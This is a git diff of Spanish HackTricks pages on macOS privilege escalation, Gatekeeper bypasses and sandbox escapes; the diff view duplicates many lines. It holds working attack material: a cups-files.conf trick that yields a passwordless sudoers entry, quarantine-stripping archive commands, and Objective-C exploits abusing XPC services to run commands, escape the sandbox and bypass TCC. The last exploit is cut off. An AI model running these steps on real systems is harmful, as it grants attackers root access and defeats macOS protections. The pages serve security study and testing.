### Archivo Sudoers ### Archivo Sudoers
@ -255,13 +286,33 @@ Si tienes **escritura arbitraria**, podrías crear un archivo dentro de la carpe
### Archivos PATH ### Archivos PATH
El archivo **`/etc/paths`** es uno de los principales lugares que llena la variable de entorno PATH. Debes ser root para sobrescribirlo, pero si un script de **proceso privilegiado** está ejecutando algún **comando sin la ruta completa**, podrías ser capaz de **secuestrarlo** modificando este archivo. El archivo **`/etc/paths`** es uno de los principales lugares que poblan la variable de entorno PATH. Debes ser root para sobrescribirlo, pero si un script de **proceso privilegiado** está ejecutando algún **comando sin la ruta completa**, podrías ser capaz de **secuestrarlo** modificando este archivo.
También puedes escribir archivos en **`/etc/paths.d`** para cargar nuevas carpetas en la variable de entorno `PATH`. También puedes escribir archivos en **`/etc/paths.d`** para cargar nuevas carpetas en la variable de entorno `PATH`.
### cups-files.conf
Esta técnica fue utilizada en [este informe](https://www.kandji.io/blog/macos-audit-story-part1).
Crea el archivo `/etc/cups/cups-files.conf` con el siguiente contenido:
```
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>
```
Esto creará el archivo `/etc/sudoers.d/lpe` con permisos 777. La basura extra al final es para activar la creación del registro de errores.
Luego, escribe en `/etc/sudoers.d/lpe` la configuración necesaria para escalar privilegios como `%staff ALL=(ALL) NOPASSWD:ALL`.
Luego, modifica el archivo `/etc/cups/cups-files.conf` nuevamente indicando `LogFilePerm 700` para que el nuevo archivo sudoers se vuelva válido invocando `cupsctl`.
### Escape de Sandbox
Es posible escapar del sandbox de macOS con una escritura arbitraria en el sistema de archivos. Para algunos ejemplos, consulta la página [macOS Auto Start](../../../../macos-auto-start-locations.md), pero uno común es escribir un archivo de preferencias de Terminal en `~/Library/Preferences/com.apple.Terminal.plist` que ejecute un comando al inicio y llamarlo usando `open`.
## Generar archivos escribibles como otros usuarios ## Generar archivos escribibles como otros usuarios
Esto generará un archivo que pertenece a root y que es escribible por mí ([**código de aquí**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Esto también podría funcionar como privesc: Esto generará un archivo que pertenece a root que es escribible por mí ([**código de aquí**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Esto también podría funcionar como privesc:
```bash ```bash
DIRNAME=/usr/local/etc/periodic/daily DIRNAME=/usr/local/etc/periodic/daily
@ -275,7 +326,7 @@ echo $FILENAME
``` ```
## Memoria Compartida POSIX ## Memoria Compartida POSIX
**La memoria compartida POSIX** permite que los procesos en sistemas operativos compatibles con POSIX accedan a un área de memoria común, facilitando una comunicación más rápida en comparación con otros métodos de comunicación entre procesos. Implica crear o abrir un objeto de memoria compartida con `shm_open()`, establecer su tamaño con `ftruncate()`, y mapearlo en el espacio de direcciones del proceso usando `mmap()`. Los procesos pueden luego leer y escribir directamente en esta área de memoria. Para gestionar el acceso concurrente y prevenir la corrupción de datos, a menudo se utilizan mecanismos de sincronización como mutexes o semáforos. Finalmente, los procesos desmapean y cierran la memoria compartida con `munmap()` y `close()`, y opcionalmente eliminan el objeto de memoria con `shm_unlink()`. Este sistema es especialmente efectivo para IPC eficiente y rápido en entornos donde múltiples procesos necesitan acceder a datos compartidos rápidamente. **La memoria compartida POSIX** permite que los procesos en sistemas operativos compatibles con POSIX accedan a un área de memoria común, facilitando una comunicación más rápida en comparación con otros métodos de comunicación entre procesos. Implica crear o abrir un objeto de memoria compartida con `shm_open()`, establecer su tamaño con `ftruncate()`, y mapearlo en el espacio de direcciones del proceso usando `mmap()`. Los procesos pueden entonces leer y escribir directamente en esta área de memoria. Para gestionar el acceso concurrente y prevenir la corrupción de datos, a menudo se utilizan mecanismos de sincronización como mutexes o semáforos. Finalmente, los procesos desmapean y cierran la memoria compartida con `munmap()` y `close()`, y opcionalmente eliminan el objeto de memoria con `shm_unlink()`. Este sistema es especialmente efectivo para IPC eficiente y rápido en entornos donde múltiples procesos necesitan acceder a datos compartidos rápidamente.
<details> <details>

View File

@ -2,9 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Gatekeeper ## Gatekeeper
@ -14,9 +11,9 @@ El mecanismo clave de Gatekeeper radica en su proceso de **verificación**. Veri
Además, Gatekeeper refuerza el control y la seguridad del usuario al **solicitar a los usuarios que aprueben la apertura** del software descargado por primera vez. Esta salvaguarda ayuda a prevenir que los usuarios ejecuten inadvertidamente código ejecutable potencialmente dañino que pueden haber confundido con un archivo de datos inofensivo. Además, Gatekeeper refuerza el control y la seguridad del usuario al **solicitar a los usuarios que aprueben la apertura** del software descargado por primera vez. Esta salvaguarda ayuda a prevenir que los usuarios ejecuten inadvertidamente código ejecutable potencialmente dañino que pueden haber confundido con un archivo de datos inofensivo.
### Firmas de Aplicación ### Application Signatures
Las firmas de aplicación, también conocidas como firmas de código, son un componente crítico de la infraestructura de seguridad de Apple. Se utilizan para **verificar la identidad del autor del software** (el desarrollador) y para asegurar que el código no ha sido alterado desde que fue firmado por última vez. Las firmas de aplicaciones, también conocidas como firmas de código, son un componente crítico de la infraestructura de seguridad de Apple. Se utilizan para **verificar la identidad del autor del software** (el desarrollador) y para asegurar que el código no ha sido alterado desde que fue firmado por última vez.
Así es como funciona: Así es como funciona:
@ -24,11 +21,11 @@ Así es como funciona:
2. **Distribuir la Aplicación:** La aplicación firmada se distribuye a los usuarios junto con el certificado del desarrollador, que contiene la clave pública correspondiente. 2. **Distribuir la Aplicación:** La aplicación firmada se distribuye a los usuarios junto con el certificado del desarrollador, que contiene la clave pública correspondiente.
3. **Verificar la Aplicación:** Cuando un usuario descarga e intenta ejecutar la aplicación, su sistema operativo Mac utiliza la clave pública del certificado del desarrollador para descifrar el hash. Luego recalcula el hash basado en el estado actual de la aplicación y lo compara con el hash descifrado. Si coinciden, significa que **la aplicación no ha sido modificada** desde que el desarrollador la firmó, y el sistema permite que la aplicación se ejecute. 3. **Verificar la Aplicación:** Cuando un usuario descarga e intenta ejecutar la aplicación, su sistema operativo Mac utiliza la clave pública del certificado del desarrollador para descifrar el hash. Luego recalcula el hash basado en el estado actual de la aplicación y lo compara con el hash descifrado. Si coinciden, significa que **la aplicación no ha sido modificada** desde que el desarrollador la firmó, y el sistema permite que la aplicación se ejecute.
Las firmas de aplicación son una parte esencial de la tecnología Gatekeeper de Apple. Cuando un usuario intenta **abrir una aplicación descargada de internet**, Gatekeeper verifica la firma de la aplicación. Si está firmada con un certificado emitido por Apple a un desarrollador conocido y el código no ha sido alterado, Gatekeeper permite que la aplicación se ejecute. De lo contrario, bloquea la aplicación y alerta al usuario. Las firmas de aplicaciones son una parte esencial de la tecnología Gatekeeper de Apple. Cuando un usuario intenta **abrir una aplicación descargada de internet**, Gatekeeper verifica la firma de la aplicación. Si está firmada con un certificado emitido por Apple a un desarrollador conocido y el código no ha sido alterado, Gatekeeper permite que la aplicación se ejecute. De lo contrario, bloquea la aplicación y alerta al usuario.
A partir de macOS Catalina, **Gatekeeper también verifica si la aplicación ha sido notarizada** por Apple, añadiendo una capa adicional de seguridad. El proceso de notarización verifica la aplicación en busca de problemas de seguridad conocidos y código malicioso, y si estas verificaciones son satisfactorias, Apple añade un ticket a la aplicación que Gatekeeper puede verificar. A partir de macOS Catalina, **Gatekeeper también verifica si la aplicación ha sido notarizada** por Apple, añadiendo una capa adicional de seguridad. El proceso de notarización verifica la aplicación en busca de problemas de seguridad conocidos y código malicioso, y si estas verificaciones son aprobadas, Apple añade un ticket a la aplicación que Gatekeeper puede verificar.
#### Verificar Firmas #### Check Signatures
Al verificar alguna **muestra de malware**, siempre debes **verificar la firma** del binario, ya que el **desarrollador** que lo firmó puede estar ya **relacionado** con **malware.** Al verificar alguna **muestra de malware**, siempre debes **verificar la firma** del binario, ya que el **desarrollador** que lo firmó puede estar ya **relacionado** con **malware.**
```bash ```bash
@ -90,7 +87,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an
``` ```
**`syspolicyd`** también expone un servidor XPC con diferentes operaciones como `assess`, `update`, `record` y `cancel`, que también son accesibles utilizando las APIs **`SecAssessment*`** de **`Security.framework`** y **`xpctl`** en realidad se comunica con **`syspolicyd`** a través de XPC. **`syspolicyd`** también expone un servidor XPC con diferentes operaciones como `assess`, `update`, `record` y `cancel`, que también son accesibles utilizando las APIs **`SecAssessment*`** de **`Security.framework`** y **`xpctl`** en realidad se comunica con **`syspolicyd`** a través de XPC.
Nota cómo la primera regla terminó en "**App Store**" y la segunda en "**Developer ID**" y que en la imagen anterior estaba **habilitada para ejecutar aplicaciones de la App Store y desarrolladores identificados**.\ Nota cómo la primera regla terminó en "**App Store**" y la segunda en "**Developer ID**" y que en la imagen anterior estaba **habilitado para ejecutar aplicaciones de la App Store y desarrolladores identificados**.\
Si **modificas** esa configuración a App Store, las "**reglas de Developer ID Notarizado" desaparecerán**. Si **modificas** esa configuración a App Store, las "**reglas de Developer ID Notarizado" desaparecerán**.
También hay miles de reglas de **tipo GKE** : También hay miles de reglas de **tipo GKE** :
@ -344,7 +341,7 @@ Consulta el [**informe original**](https://ronmasas.com/posts/bypass-macos-gatek
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) ### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
En este bypass se creó un archivo zip con una aplicación comenzando a comprimir desde `application.app/Contents` en lugar de `application.app`. Por lo tanto, el **atributo de cuarentena** se aplicó a todos los **archivos de `application.app/Contents`** pero **no a `application.app`**, que es lo que Gatekeeper estaba verificando, por lo que Gatekeeper fue eludido porque cuando se activó `application.app` **no tenía el atributo de cuarentena.** En este bypass se creó un archivo zip con una aplicación comenzando a comprimir desde `application.app/Contents` en lugar de `application.app`. Por lo tanto, el **atributo de cuarentena** se aplicó a todos los **archivos de `application.app/Contents`** pero **no a `application.app`**, que era lo que Gatekeeper estaba verificando, por lo que Gatekeeper fue eludido porque cuando se activó `application.app` **no tenía el atributo de cuarentena.**
```bash ```bash
zip -r test.app/Contents test.zip zip -r test.app/Contents test.zip
``` ```
@ -401,7 +398,7 @@ aa archive -d test/ -o test.aar
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute # If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
``` ```
Ser capaz de crear un archivo que no tenga el atributo de cuarentena, fue **posible eludir Gatekeeper.** El truco era **crear una aplicación de archivo DMG** utilizando la convención de nombres AppleDouble (comenzar con `._`) y crear un **archivo visible como un enlace simbólico a este archivo oculto** sin el atributo de cuarentena.\ Al poder crear un archivo que no tendrá el atributo de cuarentena, fue **posible eludir Gatekeeper.** El truco era **crear una aplicación de archivo DMG** utilizando la convención de nombres AppleDouble (comenzar con `._`) y crear un **archivo visible como un enlace simbólico a este archivo oculto** sin el atributo de cuarentena.\
Cuando se **ejecuta el archivo dmg**, como no tiene un atributo de cuarentena, **eludirá Gatekeeper.** Cuando se **ejecuta el archivo dmg**, como no tiene un atributo de cuarentena, **eludirá Gatekeeper.**
```bash ```bash
# Create an app bundle with the backdoor an call it app.app # Create an app bundle with the backdoor an call it app.app
@ -427,12 +424,9 @@ aa archive -d s/ -o app.aar
- La víctima abre el archivo tar.gz y ejecuta la aplicación. - La víctima abre el archivo tar.gz y ejecuta la aplicación.
- Gatekeeper no verifica la aplicación. - Gatekeeper no verifica la aplicación.
### Prevenir xattr de Cuarentena ### Prevenir Quarantine xattr
En un paquete ".app" si el xattr de cuarentena no se agrega, al ejecutarlo **Gatekeeper no se activará**. En un paquete ".app" si el xattr de cuarentena no se agrega, al ejecutarlo **Gatekeeper no se activará**.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -30,7 +30,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
[...] [...]
``` ```
Dentro de cada carpeta de id de paquete, puedes encontrar el **plist** y el **Directorio de Datos** de la aplicación con una estructura que imita la carpeta de Inicio: Dentro de cada carpeta de id de paquete, puedes encontrar el **plist** y el **Directorio de Datos** de la aplicación con una estructura que imita la carpeta de inicio:
```bash ```bash
cd /Users/username/Library/Containers/com.apple.Safari cd /Users/username/Library/Containers/com.apple.Safari
ls -la ls -la
@ -56,7 +56,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 tmp
> [!CAUTION] > [!CAUTION]
> Tenga en cuenta que incluso si los symlinks están ahí para "escapar" del Sandbox y acceder a otras carpetas, la App aún necesita **tener permisos** para acceder a ellas. Estos permisos están dentro del **`.plist`** en los `RedirectablePaths`. > Tenga en cuenta que incluso si los symlinks están ahí para "escapar" del Sandbox y acceder a otras carpetas, la App aún necesita **tener permisos** para acceder a ellas. Estos permisos están dentro del **`.plist`** en los `RedirectablePaths`.
Los **`SandboxProfileData`** son el perfil de sandbox compilado CFData escapado a B64. El **`SandboxProfileData`** es el perfil de sandbox compilado CFData escapado a B64.
```bash ```bash
# Get container config # Get container config
## You need FDA to access the file, not even just root can read it ## You need FDA to access the file, not even just root can read it
@ -131,7 +131,7 @@ Aquí puedes encontrar un ejemplo:
) )
``` ```
> [!TIP] > [!TIP]
> Consulta esta [**investigación**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **para verificar más acciones que podrían ser permitidas o denegadas.** > Consulta esta [**investigación**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **para ver más acciones que podrían ser permitidas o denegadas.**
> >
> Ten en cuenta que en la versión compilada de un perfil, el nombre de las operaciones es sustituido por sus entradas en un array conocido por el dylib y el kext, haciendo que la versión compilada sea más corta y más difícil de leer. > Ten en cuenta que en la versión compilada de un perfil, el nombre de las operaciones es sustituido por sus entradas en un array conocido por el dylib y el kext, haciendo que la versión compilada sea más corta y más difícil de leer.
@ -143,11 +143,13 @@ Los **servicios del sistema** importantes también se ejecutan dentro de su prop
Las aplicaciones de la **App Store** utilizan el **perfil** **`/System/Library/Sandbox/Profiles/application.sb`**. Puedes verificar en este perfil cómo los derechos como **`com.apple.security.network.server`** permiten a un proceso utilizar la red. Las aplicaciones de la **App Store** utilizan el **perfil** **`/System/Library/Sandbox/Profiles/application.sb`**. Puedes verificar en este perfil cómo los derechos como **`com.apple.security.network.server`** permiten a un proceso utilizar la red.
SIP es un perfil de Sandbox llamado platform_profile en /System/Library/Sandbox/rootless.conf Luego, algunos **servicios de demonios de Apple** utilizan diferentes perfiles ubicados en `/System/Library/Sandbox/Profiles/*.sb` o `/usr/share/sandbox/*.sb`. Estos sandboxes se aplican en la función principal que llama a la API `sandbox_init_XXX`.
**SIP** es un perfil de Sandbox llamado platform_profile en `/System/Library/Sandbox/rootless.conf`.
### Ejemplos de Perfiles de Sandbox ### Ejemplos de Perfiles de Sandbox
Para iniciar una aplicación con un **perfil de sandbox específico** puedes usar: Para iniciar una aplicación con un **perfil de sandbox específico**, puedes usar:
```bash ```bash
sandbox-exec -f example.sb /Path/To/The/Application sandbox-exec -f example.sb /Path/To/The/Application
``` ```
@ -222,12 +224,12 @@ En `/tmp/trace.out` podrás ver cada verificación de sandbox realizada cada vez
También es posible rastrear el sandbox usando el **`-t`** parámetro: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls` También es posible rastrear el sandbox usando el **`-t`** parámetro: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
#### A través de la API #### A través de API
La función `sandbox_set_trace_path` exportada por `libsystem_sandbox.dylib` permite especificar un nombre de archivo de rastreo donde se escribirán las verificaciones del sandbox.\ La función `sandbox_set_trace_path` exportada por `libsystem_sandbox.dylib` permite especificar un nombre de archivo de rastreo donde se escribirán las verificaciones de sandbox.\
También es posible hacer algo similar llamando a `sandbox_vtrace_enable()` y luego obteniendo los errores de registro del búfer llamando a `sandbox_vtrace_report()`. También es posible hacer algo similar llamando a `sandbox_vtrace_enable()` y luego obteniendo los registros de error del búfer llamando a `sandbox_vtrace_report()`.
### Inspección del Sandbox ### Inspección de Sandbox
`libsandbox.dylib` exporta una función llamada sandbox_inspect_pid que proporciona una lista del estado del sandbox de un proceso (incluidas las extensiones). Sin embargo, solo los binarios de la plataforma pueden usar esta función. `libsandbox.dylib` exporta una función llamada sandbox_inspect_pid que proporciona una lista del estado del sandbox de un proceso (incluidas las extensiones). Sin embargo, solo los binarios de la plataforma pueden usar esta función.
@ -255,7 +257,7 @@ Esto **evalúa la cadena después de este derecho** como un perfil de Sandbox.
### Compilación y descompilación de un perfil de Sandbox ### Compilación y descompilación de un perfil de Sandbox
La herramienta **`sandbox-exec`** utiliza las funciones `sandbox_compile_*` de `libsandbox.dylib`. Las principales funciones exportadas son: `sandbox_compile_file` (espera una ruta de archivo, parámetro `-f`), `sandbox_compile_string` (espera una cadena, parámetro `-p`), `sandbox_compile_name` (espera un nombre de contenedor, parámetro `-n`), `sandbox_compile_entitlements` (espera un plist de derechos). La herramienta **`sandbox-exec`** utiliza las funciones `sandbox_compile_*` de `libsandbox.dylib`. Las funciones principales exportadas son: `sandbox_compile_file` (espera una ruta de archivo, parámetro `-f`), `sandbox_compile_string` (espera una cadena, parámetro `-p`), `sandbox_compile_name` (espera un nombre de contenedor, parámetro `-n`), `sandbox_compile_entitlements` (espera un plist de derechos).
Esta versión revertida y [**de código abierto de la herramienta sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) permite que **`sandbox-exec`** escriba en un archivo el perfil de sandbox compilado. Esta versión revertida y [**de código abierto de la herramienta sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) permite que **`sandbox-exec`** escriba en un archivo el perfil de sandbox compilado.
@ -263,9 +265,9 @@ Además, para confinar un proceso dentro de un contenedor, puede llamar a `sandb
## Depurar y eludir el Sandbox ## Depurar y eludir el Sandbox
En macOS, a diferencia de iOS donde los procesos están aislados desde el inicio por el kernel, **los procesos deben optar por el sandbox ellos mismos**. Esto significa que en macOS, un proceso no está restringido por el sandbox hasta que decide activamente entrar en él, aunque las aplicaciones de la App Store siempre están aisladas. En macOS, a diferencia de iOS donde los procesos están en sandbox desde el inicio por el kernel, **los procesos deben optar por el sandbox ellos mismos**. Esto significa que en macOS, un proceso no está restringido por el sandbox hasta que decide activamente entrar en él, aunque las aplicaciones de la App Store siempre están en sandbox.
Los procesos se aíslan automáticamente desde el userland cuando comienzan si tienen el derecho: `com.apple.security.app-sandbox`. Para una explicación detallada de este proceso, consulta: Los procesos se en sandbox automáticamente desde el userland cuando comienzan si tienen el derecho: `com.apple.security.app-sandbox`. Para una explicación detallada de este proceso, consulta:
{{#ref}} {{#ref}}
macos-sandbox-debug-and-bypass/ macos-sandbox-debug-and-bypass/
@ -318,13 +320,13 @@ Esta llamada al sistema (#381) espera un primer argumento de tipo cadena que ind
La llamada a la función `___sandbox_ms` envuelve `mac_syscall` indicando en el primer argumento `"Sandbox"`, así como `___sandbox_msp` es un envoltorio de `mac_set_proc` (#387). Luego, algunos de los códigos soportados por `___sandbox_ms` se pueden encontrar en esta tabla: La llamada a la función `___sandbox_ms` envuelve `mac_syscall` indicando en el primer argumento `"Sandbox"`, así como `___sandbox_msp` es un envoltorio de `mac_set_proc` (#387). Luego, algunos de los códigos soportados por `___sandbox_ms` se pueden encontrar en esta tabla:
- **set_profile (#0)**: Aplica un perfil compilado o nombrado a un proceso. - **set_profile (#0)**: Aplica un perfil compilado o nombrado a un proceso.
- **platform_policy (#1)**: Impone verificaciones de políticas específicas de la plataforma (varía entre macOS e iOS). - **platform_policy (#1)**: Impone verificaciones de políticas específicas de la plataforma (varía entre macOS y iOS).
- **check_sandbox (#2)**: Realiza una verificación manual de una operación específica del sandbox. - **check_sandbox (#2)**: Realiza una verificación manual de una operación específica del sandbox.
- **note (#3)**: Agrega una anotación a un Sandbox. - **note (#3)**: Agrega una anotación a un Sandbox.
- **container (#4)**: Adjunta una anotación a un sandbox, típicamente para depuración o identificación. - **container (#4)**: Adjunta una anotación a un sandbox, típicamente para depuración o identificación.
- **extension_issue (#5)**: Genera una nueva extensión para un proceso. - **extension_issue (#5)**: Genera una nueva extensión para un proceso.
- **extension_consume (#6)**: Consume una extensión dada. - **extension_consume (#6)**: Consume una extensión dada.
- **extension_release (#7)**: Libera la memoria asociada a una extensión consumida. - **extension_release (#7)**: Libera la memoria vinculada a una extensión consumida.
- **extension_update_file (#8)**: Modifica los parámetros de una extensión de archivo existente dentro del sandbox. - **extension_update_file (#8)**: Modifica los parámetros de una extensión de archivo existente dentro del sandbox.
- **extension_twiddle (#9)**: Ajusta o modifica una extensión de archivo existente (por ejemplo, TextEdit, rtf, rtfd). - **extension_twiddle (#9)**: Ajusta o modifica una extensión de archivo existente (por ejemplo, TextEdit, rtf, rtfd).
- **suspend (#10)**: Suspende temporalmente todas las verificaciones del sandbox (requiere derechos apropiados). - **suspend (#10)**: Suspende temporalmente todas las verificaciones del sandbox (requiere derechos apropiados).

View File

@ -36,7 +36,7 @@ macos-office-sandbox-bypasses.md
### Agentes/Daemon de Lanzamiento ### Agentes/Daemon de Lanzamiento
Incluso si una aplicación está **destinada a estar en sandbox** (`com.apple.security.app-sandbox`), es posible eludir el sandbox si se **ejecuta desde un LaunchAgent** (`~/Library/LaunchAgents`), por ejemplo.\ Incluso si una aplicación está **destinada a estar en sandbox** (`com.apple.security.app-sandbox`), es posible eludir el sandbox si se **ejecuta desde un LaunchAgent** (`~/Library/LaunchAgents`) por ejemplo.\
Como se explicó en [**esta publicación**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), si deseas obtener persistencia con una aplicación que está en sandbox, podrías hacer que se ejecute automáticamente como un LaunchAgent y tal vez inyectar código malicioso a través de variables de entorno DyLib. Como se explicó en [**esta publicación**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), si deseas obtener persistencia con una aplicación que está en sandbox, podrías hacer que se ejecute automáticamente como un LaunchAgent y tal vez inyectar código malicioso a través de variables de entorno DyLib.
### Abusando de las Ubicaciones de Inicio Automático ### Abusando de las Ubicaciones de Inicio Automático
@ -59,23 +59,184 @@ Si desde el proceso en sandbox puedes **comprometer otros procesos** que se ejec
../../../macos-proces-abuse/ ../../../macos-proces-abuse/
{{#endref}} {{#endref}}
### Servicios Mach del Sistema y del Usuario Disponibles
El sandbox también permite comunicarse con ciertos **servicios Mach** a través de XPC definidos en el perfil `application.sb`. Si puedes **abusar** de uno de estos servicios, podrías ser capaz de **escapar del sandbox**.
Como se indica en [este informe](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), la información sobre los servicios Mach se almacena en `/System/Library/xpc/launchd.plist`. Es posible encontrar todos los servicios Mach del Sistema y del Usuario buscando dentro de ese archivo por `<string>System</string>` y `<string>User</string>`.
Además, es posible verificar si un servicio Mach está disponible para una aplicación en sandbox llamando a `bootstrap_look_up`:
```objectivec
void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
if (!err) {
NSLog(@"available service:%s", serviceName);
mach_port_deallocate(mach_task_self_, service_port);
}
}
void print_available_xpc(void) {
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
for (NSString* key in launchDaemons) {
NSDictionary<NSString*, id>* job = launchDaemons[key];
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
for (NSString* serviceName in machServices) {
checkService(serviceName.UTF8String);
}
}
}
```
### Servicios Mach de PID disponibles
Estos servicios Mach fueron abusados por primera vez para [escapar del sandbox en este artículo](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). En ese momento, **todos los servicios XPC requeridos** por una aplicación y su marco eran visibles en el dominio PID de la aplicación (estos son servicios Mach con `ServiceType` como `Application`).
Para **contactar un servicio XPC del dominio PID**, solo es necesario registrarlo dentro de la aplicación con una línea como:
```objectivec
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
```
Además, es posible encontrar todos los servicios Mach de **Application** buscando dentro de `System/Library/xpc/launchd.plist` por `<string>Application</string>`.
Otra forma de encontrar servicios xpc válidos es verificar los que están en:
```bash
find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"
```
Varios ejemplos que abusan de esta técnica se pueden encontrar en el [**escrito original**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), sin embargo, los siguientes son algunos ejemplos resumidos.
#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
Este servicio permite todas las conexiones XPC al devolver siempre `YES` y el método `runTask:arguments:withReply:` ejecuta un comando arbitrario con parámetros arbitrarios.
La explotación fue "tan simple como":
```objectivec
@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@end
void exploit_storagekitfsrunner(void) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
[conn resume];
[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
NSLog(@"run task result:%@, error:%@", bSucc, error);
}];
}
```
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
Este servicio XPC permitía a cada cliente al devolver siempre YES y el método `createZipAtPath:hourThreshold:withReply:` básicamente permitía indicar la ruta a una carpeta para comprimir y la comprimiría en un archivo ZIP.
Por lo tanto, es posible generar una estructura de carpeta de aplicación falsa, comprimirla, luego descomprimirla y ejecutarla para escapar del sandbox ya que los nuevos archivos no tendrán el atributo de cuarentena.
La explotación fue:
```objectivec
@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@end
void exploit_AudioAnalyticsHelperService(void) {
NSString *currentPath = NSTemporaryDirectory();
chdir([currentPath UTF8String]);
NSLog(@"======== preparing payload at the current path:%@", currentPath);
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
system("chmod +x compressed/poc.app/Contents/MacOS/poc");
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
[conn resume];
[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
NSString *file;
while ((file = [dirEnum nextObject])) {
if ([[file pathExtension] isEqualToString: @"zip"]) {
// open the zip
NSString *cmd = [@"open " stringByAppendingString:file];
system([cmd UTF8String]);
sleep(3); // wait for decompression and then open the payload (poc.app)
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
system([cmd2 UTF8String]);
break;
}
}
}];
}
```
#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
Este servicio XPC permite otorgar acceso de lectura y escritura a una URL arbitraria al cliente XPC a través del método `extendAccessToURL:completion:`, que acepta cualquier conexión. Dado que el servicio XPC tiene FDA, es posible abusar de estos permisos para eludir completamente TCC.
La explotación fue:
```objectivec
@protocol WFFileAccessHelperProtocol
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
@end
typedef int (*PFN)(const char *);
void expoit_ShortcutsFileAccessHelper(NSString *target) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
